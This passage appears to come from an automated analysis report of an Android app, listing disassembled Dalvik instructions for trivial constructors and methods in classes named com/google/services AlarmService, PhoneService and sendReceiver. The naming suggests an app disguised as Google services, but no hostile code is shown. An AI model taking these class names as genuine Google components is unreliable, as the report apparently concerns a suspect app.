0 | .parameter | |
1 | .prologue | |
2 | iput-object p1, p0, Lcom/google/services/AlarmService$1;->this$0:Lcom/google/services/AlarmService; | |
4 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
5 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .prologue | |
4 | invoke-direct {p0, p1}, Lcom/google/services/AlarmService;->updateWithNewLocation(Landroid/location/Location;)V | |
5 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
2 | iput-object p1, p0, Lcom/google/services/PhoneService$1$1;->this$1:Lcom/google/services/PhoneService$1; | |
4 | invoke-direct {p0}, Ljava/lang/Thread;-><init>()V | |
5 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
2 | iput-object p1, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService; | |
4 | invoke-direct {p0}, Ljava/util/TimerTask;-><init>()V | |
5 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
2 | iput-object p1, p0, Lcom/google/services/sendReceiver$1;->this$0:Lcom/google/services/sendReceiver; | |
4 | invoke-direct {p0}, Ljava/lang/Thread;-><init>()V | |
5 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
2 | iput-object p1, p0, Lcom/google/services/sendReceiver$2;->this$0:Lcom/google/services/sendReceiver; | |
4 | invoke-direct {p0}, Ljava/lang/Thread;-><init>()V | |
5 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
2 | iput-object p1, p0, Lcom/google/services/sendReceiver$3;->this$0:Lcom/google/services/sendReceiver; | |
4 | invoke-direct {p0}, Ljava/lang/Thread;-><init>()V | |
5 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
2 | iput-object p1, p0, Lcom/google/services/sendReceiver$4;->this$0:Lcom/google/services/sendReceiver; | |
4 | invoke-direct {p0}, Ljava/lang/Thread;-><init>()V | |
5 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
2 | iput-object p1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest; | |
4 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
5 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/app/Service;->onDestroy()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V | |
3 | return-void |